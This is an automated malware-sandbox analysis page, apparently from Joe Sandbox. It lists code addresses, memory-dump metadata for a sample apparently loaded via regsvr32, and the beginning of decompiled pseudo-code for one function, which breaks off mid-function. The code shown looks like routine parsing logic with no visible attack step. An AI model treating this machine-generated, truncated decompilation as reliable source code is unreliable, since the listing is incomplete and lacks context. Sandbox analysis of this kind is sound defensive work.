0x00419139
0x00419140
0x00419140
0x00419146
0x00000000
0x00000000
0x00419150
0x00419152
0x00419158
0x00419190
0x00419190
0x0041915a
0x0041915e
0x00419164
0x00419174
0x00419177
0x0041916f
0x0041916f
0x0041916f
0x0041917a
0x00419183
0x00000000
0x00419185
0x00419185
0x00419185
0x00419183
0x00419197
0x00419197
0x0041919b
0x0041919f
0x004191a3
0x004191b0
0x004191b0
0x004191b4
0x004191bb
0x00000000
0x00000000
0x004191c4
0x00000000
0x00000000
0x004191c6
0x00000000
0x004191c4
0x00418f67
0x00418f6e
0x00418f90
0x00418f99
0x00418f9d
0x00418fa2
0x00000000
0x00418fa8
0x00418fa8
0x00418fad
0x00000000
0x00418fb3
0x00418fb3
0x00418fb7
0x00000000
0x00418fbd
0x00418fbd
0x00418fc1
0x00418fc5
0x00419ca5
0x00419caa
0x00419d1d
0x00419d20
0x00419d24
0x00419d28
0x00419d2a
0x00419d31
0x00419d37
0x00419d39
0x00419d39
0x00419d3d
0x00419d3d
0x00419d42
0x00419d46
0x00419d4a
0x00419d4c
0x00419d50
0x00419d53
0x00419d59
0x00419d5b
0x00419d5b
0x00419d5f
0x00419d5f
0x00419d67
0x00419d6c
0x00419d70
0x00419d73
0x00419d75
0x00419d75
0x00419d75
0x00419d80
0x00419d85
0x00418fcb
0x00418fcb
0x00418fce
0x00418fd8
0x00418fdd
0x00418fdf
0x00418fe5
0x00418fee
0x00418ff2
0x00418ff6
0x00418fff
0x00418fff
0x00419003
0x00419007
0x00419007
0x0041900c
0x00000000
0x0041900c
0x00418fc5
0x00418fb7
0x00418fad
0x00418f70
0x00418f74
0x00419020
0x00419023
0x0041902f
0x00419039
0x0041903d
0x00419042
0x00419046
0x00419046
0x00419025
0x00419025
0x00419028
0x00000000
0x0041902a
0x0041902a
0x0041902a
0x00419028
0x00418f7a
0x00418f7a
0x00418f7a
0x00419052
0x00419056
0x0041905c
0x00419062
0x00419064
0x00419066
0x00419066
0x0041906a
0x0041906a
0x00419070
0x00418f40
0x00418f40
0x00418f47
0x00418f49
0x00419076
0x00419076
0x0041907a
0x00419080
0x004190a0
0x004190a3
0x00419082
0x00419082
0x00419086
0x0041908a
0x00000000
0x0041908c
0x0041908e
0x00419090
0x00419094
0x00419097
0x00419097
0x0041908a
0x004190ae
0x00000000
0x004190b4
0x004190b4
0x004190b6
0x004190b6
0x004190ae
0x00000000
0x00419070
0x00000000
0x00418f6e
0x004191cb
0x004191ce
0x0041924d
0x0041924d
0x00000000
0x004191d4
0x004191d4
0x004191dd
0x004191e1
0x004191e5
0x004191e7
0x004191ea
0x004191ed
0x004191f0
0x004191f0
0x004191f4
0x0041924f
0x0041924f
0x004191f6
0x004191f6
0x004191f8
0x004191f8
0x004191fb
0x00000000
0x004191fd
0x004191fd
0x00419201
0x00419205
0x0041920a
0x00419210
0x00419210
0x00419213
0x00419216
0x00000000
0x00000000
0x00419218
0x0041921c
0x00419222
0x00419230
0x00419232
0x00000000
0x00000000
0x00000000
0x00000000
0x00419224
0x00419224
0x00419226
0x00419238
0x00419238
0x0041923b
0x0041923f
0x00419241
0x00419241
0x00419241
0x00419244
0x00419247
0x00000000
0x00000000
0x00000000
0x00000000
0x00419228
0x00419745
0x00419745
0x00419745
0x00419226
0x00000000
0x00419222
0x00419249
0x00419249
0x004191fb
0x004191f4
0x00419253
0x00419253
0x00419257
0x0041925b
0x0041925f
0x00419261
0x00419268
0x0041926e
0x00419270
0x00419270
0x00419274
0x00419274
0x00419279
0x0041927c
0x00419280
0x00418e2e
0x00418e2e
0x00418e31
0x00418e33
0x00418e37
0x00418e3a
0x00418e3a
0x00418e3d
0x00418e3d
0x00000000
0x00419286
0x00418e41
0x00418e41
0x00418e44
0x00418e46
0x00418e49
0x00418e4e
0x00418e51
0x00418e57
0x00418e5a
0x00418e5d
0x00418e6d
0x00418e70
0x00418e73
0x00418e5f
0x00418e63
0x00418e66
0x00000000
0x00418e68
0x00418e68
0x00418e68
0x00418e66
0x00418e76
0x00418e79
0x00418e7b
0x00418e80
0x00418e80
0x00418e80
0x00418e88
0x00418e8b
0x00418e8e
0x00418e94
0x00418e97
0x00418e9a
0x00418eaa
0x00418ead
0x00418eb0
0x00418e9c
0x00418ea0
0x00418ea3
0x00000000
0x00418ea5
0x00418ea5
0x00418ea5
0x00418ea3
0x00418eb3
0x00418eb6
0x00418eb8
0x00418ebd
0x00418ebd
0x00418ebd
0x00418ec1
0x00418ec3
0x00419303
0x00419303
0x00419306
0x00000000
0x0041930c
0x00418ec9
0x00418ec9
0x00418ecd
0x00418ed1
0x00418ed7
0x00418eda
0x00418edd
0x004192a2
0x004192a2
0x00418ee3
0x00418ee7
0x00418eea
0x00418eed
0x0041928b
0x0041928e
0x00418ef3
0x00418ef7
0x00418efa
0x00000000
0x00418f00
0x00418f00
0x00418f00
0x00418efa
0x00419294
0x0041929a
0x00000000
0x0041929c
0x0041929c
0x0041929c
0x0041929a
0x004192a9
0x004192a9
0x004192b1
0x004192b7
0x004192ba
0x004192bd
0x00419300
0x00000000
0x004192bf
0x004192bf
0x004192cd
0x004192cf
0x004192d2
0x004192d5
0x004192d8
0x00419325
0x00419325
0x0041932c
0x004192da
0x004192da
0x004192de
0x004192e1
0x004192e4
0x0041930e
0x00419311
0x00419314
0x004192e6
0x004192e6
0x004192ea
0x004192ec
0x004192ee
0x00000000
0x004192f0
0x004192f2
0x004192f8
0x004192fb
0x004192fb
0x004192ee
0x0041931a
0x0041931f
0x00000000
0x00419321
0x00419321
0x00419321
0x0041931f
0x0041932e
0x00419332
0x00419335
0x00419338
0x0041934b
0x0041934b
0x0041934b
0x0041934e
0x00419350
0x00419353
0x00419358
0x00000000
0x00000000
0x0041935e
0x00419361
0x00419364
0x00419380
0x00419383
0x00419366
0x0041936a
0x0041936d
0x00000000
0x0041936f
0x0041936f
0x0041936f
0x0041936d
0x00419386
0x00419389
0x0041938b
0x00419390
0x00419390
0x00419394
0x00419398
0x0041939b
0x0041939e
0x004193a4
0x004193a7
0x004193aa
0x004193c0
0x004193c3
0x004193ac
0x004193b0
0x004193b3
0x00000000
0x004193b5
0x004193b5
0x004193b5
0x004193b3
0x004193c6
0x004193c9
0x004193cb
0x004193d0
0x004193d0
0x004193d0
0x004193d4
0x004193d6
0x004193dc
0x004193e0
0x004193e2
0x004193e5
0x004193e8
0x00419420
0x00419420
0x004193ea
0x004193ee
0x004193f1
0x004193f4
0x00419404
0x00419407
0x004193f6
0x004193fa
0x004193fd
0x00000000
0x004193ff
0x004193ff
0x004193ff
0x004193fd
0x0041940d
0x00419413
0x00000000
0x00419415
0x00419415
0x00419415
0x00419413
0x00419427
0x00419427
0x0041942b
0x0041942f
0x00419433
0x00419435
0x00419438
0x0041943b
0x00419490
0x00419490
0x00419497
0x00000000
0x0041943d
0x0041943d
0x00419441
0x00419444
0x00419447
0x00419470
0x00419473
0x00419449
0x00419449
0x0041944d
0x0041944f
0x00419451
0x00000000
0x00419453
0x00419455
0x0041945b
0x0041945e
0x0041945e
0x00419451
0x00419479
0x0041947e
0x00000000
0x00419480
0x00419480
0x00419340
0x00419340
0x00419343
0x00419343
0x00419346
0x00419348
0x00000000
0x00419348
0x0041947e
0x0041943b
0x00419433
0x0041949e
0x004194a1
0x004194a3
0x004194a7
0x004194ad
0x004194b1
0x004194b1
0x004194b1
0x004194b4
0x00000000
0x004194b4
0x0041934b
0x00419338
0x004192bd
0x004194b7
0x004194b7
0x00419561
0x00419561
0x00419561
0x00419564
0x00419566
0x00419569
0x0041956e
0x00000000
0x00000000
0x00419574
0x00419577
0x0041957a
0x00419590
0x00419593
0x0041957c
0x00419580
0x00419583
0x00000000
0x00419585
0x00419585
0x00419585
0x00419583
0x00419596
0x00419599
0x0041959b
0x004195a0
0x004195a0
0x004195a4
0x004195a8
0x004195ab
0x004195ae
0x004195b4
0x004195b7
0x004195ba
0x004195d0
0x004195d3
0x004195bc
0x004195c0
0x004195c3
0x00000000
0x004195c5
0x004195c5
0x004195c5
0x004195c3
0x004195d6
0x004195d9
0x004195db
0x004195e0
0x004195e0
0x004195e0
0x004195e4
0x004195e6
0x004195ec
0x004195f0
0x004195f2
0x004195f5
0x004195f8
0x00419630
0x00419630
0x004195fa
0x004195fe
0x00419601
0x00419604
0x00419614
0x00419617
0x00419606
0x0041960a
0x0041960d
0x00000000
0x0041960f
0x0041960f
0x0041960f
0x0041960d
0x0041961d
0x00419623
0x00000000
0x00419625
0x00419625
0x00419625
0x00419623
0x00419637
0x00419637
0x0041963b
0x0041963f
0x00419642
0x00419650
0x00419650
0x00419654
0x00419658
0x0041965b
0x00000000
0x00000000
0x00419661
0x00419664
0x00000000
0x00419666
0x00000000
0x00419666
0x00419c48
0x00419c4f
0x00419c53
0x00419c57
0x00419c5b
0x00419c5f
0x00419c63
0x00419c66
0x00419c6a
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c7f
0x00419c7f
0x00419c83
0x00419c83
0x00419c88
0x00419c9d
0x00000000
0x00419c9d
0x004194c7
0x004194ca
0x004194ce
0x004194d4
0x004194d8
0x004194e4
0x004194e8
0x004194ed
0x004194f1
0x004194f1
0x004194f1
0x004194f4
0x004194f7
0x004194fa
0x00419550
0x00419550
0x00419557
0x004194fc
0x004194fc
0x00419500
0x00419503
0x00419506
0x00419530
0x00419533
0x00419508
0x00419508
0x0041950c
0x0041950e
0x00419510
0x00000000
0x00419512
0x00419514
0x0041951a
0x0041951d
0x0041951d
0x00419510
0x00419539
0x0041953e
0x00000000
0x00419540
0x00419540
0x00419540
0x0041953e
0x00419559
0x0041955c
0x0041955e
0x00000000
0x0041955e
0x004194ce
0x0041966b
0x0041966f
0x00419673
0x00419681
0x00419684
0x00419686
0x00419689
0x0041968e
0x00419692
0x00419695
0x0041969b
0x0041969e
0x004196a1
0x004196b1
0x004196b4
0x004196b7
0x004196bb
0x004196be
0x004196a3
0x004196a7
0x004196aa
0x00000000
0x004196ac
0x004196ac
0x004196ac
0x004196aa
0x004196c2
0x004196c5
0x004196c7
0x004196cc
0x004196cc
0x004196cc
0x004196d4
0x004196d7
0x004196da
0x004196e0
0x004196e3
0x004196e6
0x004196f6
0x004196f9
0x004196fc
0x00419700
0x00419703
0x004196e8
0x004196ec
0x004196ef
0x00000000
0x004196f1
0x004196f1
0x004196f1
0x004196ef
0x00419707
0x0041970a
0x0041970c
0x00419711
0x00419711
0x00419711
0x00419715
0x00419717
0x0041971d
0x00419721
0x00419723
0x00419726
0x00419729
0x0041976f
0x0041976f
0x0041972b
0x0041972f
0x00419732
0x00419735
0x0041974d
0x00419750
0x00419753
0x00419757
0x0041975a
0x00419737
0x0041973b
0x0041973e
0x00000000
0x00419740
0x00419740
0x00419740
0x0041973e
0x00419761
0x00419767
0x00000000
0x00419769
0x00419769
0x00419769
0x00419767
0x00419776
0x00419776
0x0041977a
0x0041977e
0x00419782
0x0041978e
0x0041978e
0x00419792
0x00419795
0x00419798
0x004197fa
0x004197fa
0x00419801
0x00000000
0x0041979a
0x0041979a
0x0041979e
0x004197a1
0x004197a4
0x004197c0
0x004197c3
0x004197c6
0x004197a6
0x004197a6
0x004197aa
0x004197ac
0x004197ae
0x00000000
0x004197b0
0x004197b2
0x004197b8
0x004197bb
0x004197bb
0x004197ae
0x004197cd
0x004197d2
0x00000000
0x004197d4
0x004197d4
0x004197d7
0x004197db
0x004197de
0x00419805
0x00419805
0x004197e0
0x004197e4
0x004197e7
0x004197ea
0x00419809
0x0041980c
0x0041980f
0x004197ec
0x004197f0
0x004197f3
0x00000000
0x004197f5
0x004197f5
0x004197f5
0x004197f3
0x00419816
0x00419818
0x0041981d
0x0041981d
0x0041981d
0x004197de
0x004197d2
0x00419825
0x00419828
0x0041982b
0x00419861
0x00419861
0x0041982d
0x00419831
0x00419834
0x00419837
0x00419847
0x0041984a
0x0041984d
0x00419839
0x0041983d
0x00419840
0x00000000
0x00419842
0x00419842
0x00419842
0x00419840
0x00419856
0x0041985c
0x0041985c
0x00419863
0x00419867
0x00419869
0x0041986f
0x00419873
0x00419875
0x00419878
0x0041987b
0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: 6ffac8c87d1a50dedcb70cfc8628c68acd396203f18aff29f8eb6fee66ab3b78
Instruction ID: d2ea1f062f5f602ca19fc33afaec867a4fd0a08b37e9a1e56805ddc8a18941d4
Opcode Fuzzy Hash: 6ffac8c87d1a50dedcb70cfc8628c68acd396203f18aff29f8eb6fee66ab3b78
Instruction Fuzzy Hash: 78023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4A5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 004186FF Relevance: 1.7, Strings: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E004186FF(void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				char _t707;
				intOrPtr* _t708;
				intOrPtr* _t710;
				intOrPtr* _t713;
				signed short* _t716;
				char* _t718;
				signed long long _t720;
				intOrPtr _t725;
				char* _t730;
				signed long long _t732;
				signed short* _t734;
				signed short** _t736;
				signed short* _t739;
				signed short* _t742;
				signed short* _t745;
				signed short** _t747;
				signed short* _t750;
				signed short* _t753;
				signed short** _t755;
				signed short* _t759;
				signed short* _t762;
				signed short** _t764;
				signed short* _t767;
				signed short* _t770;
				signed short* _t773;
				signed short* _t776;
				char* _t778;
				signed long long _t780;
				signed short* _t782;
				signed short** _t784;
				signed short* _t787;
				signed short* _t790;
				char* _t793;
				signed short* _t796;
				signed short** _t798;
				signed short* _t801;
				signed short* _t804;
				intOrPtr* _t806;
				signed short** _t808;
				signed short* _t811;
				signed short* _t814;
				signed short* _t817;
				char* _t819;
				signed int _t820;
				signed short* _t822;
				signed short** _t824;
				signed short* _t827;
				signed short* _t830;
				signed short* _t832;
				intOrPtr _t833;
				void* _t836;
				long long _t837;
				intOrPtr* _t838;
				signed short* _t841;
				long long* _t843;
				signed int _t847;
				void* _t850;
				signed int _t853;
				signed short** _t856;
				signed short* _t859;
				signed short* _t864;
				signed short** _t866;
				signed short* _t870;
				signed short* _t873;
				signed short* _t876;
				intOrPtr* _t878;
				intOrPtr* _t879;
				void* _t881;
				long long* _t882;
				intOrPtr* _t885;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t894;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t900;
				intOrPtr* _t901;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr _t906;
				intOrPtr* _t907;
				intOrPtr* _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t914;
				intOrPtr* _t917;
				intOrPtr* _t918;
				intOrPtr* _t920;
				intOrPtr* _t921;
				intOrPtr* _t923;
				intOrPtr* _t924;
				intOrPtr* _t925;
				intOrPtr* _t927;
				intOrPtr* _t929;
				char* _t932;
				intOrPtr* _t934;
				intOrPtr* _t935;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t939;
				intOrPtr* _t942;
				intOrPtr* _t944;
				char* _t946;
				intOrPtr* _t948;
				intOrPtr* _t950;
				intOrPtr* _t951;
				intOrPtr* _t952;
				intOrPtr _t953;
				char* _t954;
				signed long long _t956;
				void* _t958;
				intOrPtr _t961;
				intOrPtr _t962;
				intOrPtr* _t964;
				char* _t968;
				intOrPtr* _t970;
				intOrPtr* _t972;
				intOrPtr* _t973;
				intOrPtr* _t974;
				intOrPtr* _t976;
				intOrPtr* _t977;
				intOrPtr* _t979;
				intOrPtr* _t980;
				intOrPtr* _t982;
				intOrPtr* _t983;
				intOrPtr* _t986;
				signed int _t987;
				signed short* _t990;
				signed short* _t994;
				signed short* _t998;
				signed short* _t1001;
				signed short* _t1006;
				signed short* _t1010;
				signed short* _t1014;
				signed short* _t1018;
				signed short* _t1027;
				signed short* _t1028;
				signed short* _t1031;
				signed short* _t1036;
				signed int* _t1042;
				signed int* _t1044;
				signed int* _t1045;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				intOrPtr* _t1050;
				signed int* _t1051;
				signed int* _t1052;
				signed int _t1053;
				void* _t1054;
				intOrPtr _t1055;
				intOrPtr* _t1056;
				long long _t1058;
				signed short* _t1060;
				intOrPtr* _t1061;
				char* _t1062;
				void* _t1066;
				long long* _t1069;
				signed int _t1071;
				signed int _t1074;
				long long _t1075;
				void* _t1077;
				void* _t1078;
				intOrPtr* _t1079;
				long long _t1080;
				char* _t1081;
				signed int _t1083;
				char* _t1084;
				void* _t1085;
				void* _t1086;
				char* _t1088;
				void* _t1089;
				signed int _t1090;
				char* _t1091;
				long long _t1092;
				signed int _t1094;
				void* _t1095;
				short* _t1096;
				long long _t1099;
				long long _t1100;

				_t1095 = __r15;
				_t1089 = __r14;
				_t1086 = __r13;
				_t1078 = __r12;
				_t1075 = __r9;
				_t1069 = __r8;
				_t1042 = __rdi;
				_t987 = __rdx;
				_t881 = __rbx;
				_t1054 = __rax;
				_t707 = _v32;
				if(_t707 >= 0x10) {
					_t986 = _v56;
					if(_t707 + 1 >= 0x1000) {
						_t986 =  *((intOrPtr*)(_t986 - 8));
					}
					_t415 = E00402090(_t415, _t986);
				}
				_t416 = E0044CEA0(_t415, _t1054);
				asm("ud2");
				_t708 =  *_t1061;
				 *_t708 =  *_t708 + _t416;
				 *_t708 =  *_t708 + _t416;
				0;
				0;
				_t1062 =  &_v192;
				_a96 = _t1075;
				_t882 = _t1069;
				_t1090 = _t987;
				_t1055 = _a224;
				_t885 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_v32 = _t885;
				_t710 =  *_t885;
				 *((intOrPtr*)(_t710 + 0x10))(_t881, _t1042, _t1054, _t1078, _t1086, _t1089, _t1095, _t1061, _t1066);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1069, _t1075, _t1077, _t1078, _t1086, _t1090, _t1095);
				_t1079 = _t710;
				_t887 = _v32;
				if(_t887 != 0) {
					_t879 =  *_t887;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1079 + 0x30))();
				_t889 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_a40 = _t889;
				_t713 =  *_t889;
				 *((intOrPtr*)(_t713 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1069, _t1075, _t1077, _t1090);
				_t1056 = _t713;
				_t891 = _a40;
				if(_t891 != 0) {
					_t878 =  *_t891;
					 *((intOrPtr*)(_t878 + 0x18))();
					if(_t878 != 0) {
						 *((intOrPtr*)( *_t878 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1056 + 0x68))();
				_t893 =  *_t882;
				_t568 = 0;
				_t558 = 0;
				if(_t893 != 0) {
					_t876 =  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x38))));
					if(_t876 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t893 + 0x38))();
					} else {
						_t524 =  *_t876 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t894 =  *_a96;
				if(_t894 != 0) {
					_t873 =  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x38))));
					if(_t873 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t894 + 0x38))();
					} else {
						_t522 =  *_t873 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1096 = _t1090;
				if(_t558 != _t568) {
					if( *(_t882 + 8) == 0) {
						_t983 =  *_t882;
						if(_t983 == 0) {
							L34:
							 *_t882 = 0;
						} else {
							_t870 =  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x38))));
							if(_t870 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t983 + 0x38))();
